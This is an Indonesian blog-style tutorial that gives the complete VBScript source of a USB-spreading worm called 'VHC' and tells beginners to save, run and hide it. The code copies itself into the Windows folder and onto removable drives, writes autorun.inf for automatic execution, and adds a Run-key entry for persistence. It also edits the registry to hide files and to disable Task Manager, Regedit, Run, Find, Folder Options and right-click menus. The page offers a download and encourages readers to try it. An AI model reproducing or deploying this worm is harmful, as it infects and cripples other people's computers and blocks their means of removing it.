Worm JaduL versi VHC

Kali ini kita akan membuat script worm, emang c jadul tapi lumayan mengganggu. buat para master-master maaf ya jangan ganggu ya satu guru satu ilmu jangan saling ganggu ya!

Buat para newbie termasuk ane juga c, silahkan dicoba dan di praktekin sekalian ya.
ada pun caranya sebagai berikut :
ini mantra worm ala VHC :
1. Buka notepad
2. Tulis dan simpan source code dibawah.
3. Lalu di save as type pilih “All Files (*.*).
4. Simpan dengan nama : vhc.vbs.


‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next

‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,vhc,nt,check,sd

‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe vhc.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- vhc.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- vhc.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- vhc.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives

‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then

‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\vhc.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\vhc.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\vhc.vbs “)
tf.attributes = 39

‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next

‘//–Manipulasi Registry–//

set vhc = createobject(”WScript.Shell”)

‘//–Manipulasi – Ubah Title Internet Explorer menjadi Virus & Hack Community–//
vhc.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” Virus & Hack Community “

‘//–Manipulasi – Set agar file hidden tidak ditampilkan di Explorer–//
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”

‘//–Manipulasi – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”

‘//–Manipulasi – Disable klik kanan–//
vhc.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”

‘//–Manipulasi – Munculkan Pesan Setiap Windows Startup–//
vhc.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm vhc. Variant from Virus & HAck Community, don’t panic all data are safe.”

‘//–Manipulasi – Aktif setiap Windows Startup–//
vhc.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- vhc.vbs “

‘//–Manipulasi – Ubah RegisteredOwner dan Organization–//
vhc.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
vhc.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”vhc”

if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname

download virusnya disini

Biar lebih nendang lg virus itu bisa disimpan dalam starup caranya :
1. Extrak file yg sudah di download atau di copy paste script tadi di notepad
2. Klik Start -> All Programs -> Starup, klik kanan starup tadi explore
3. Ccopy paste file vhc.vbs di starup explore tadi
4. Sembunyikan file tadi klik kanan properties -> hidden
Selamat mencoba dan good luck!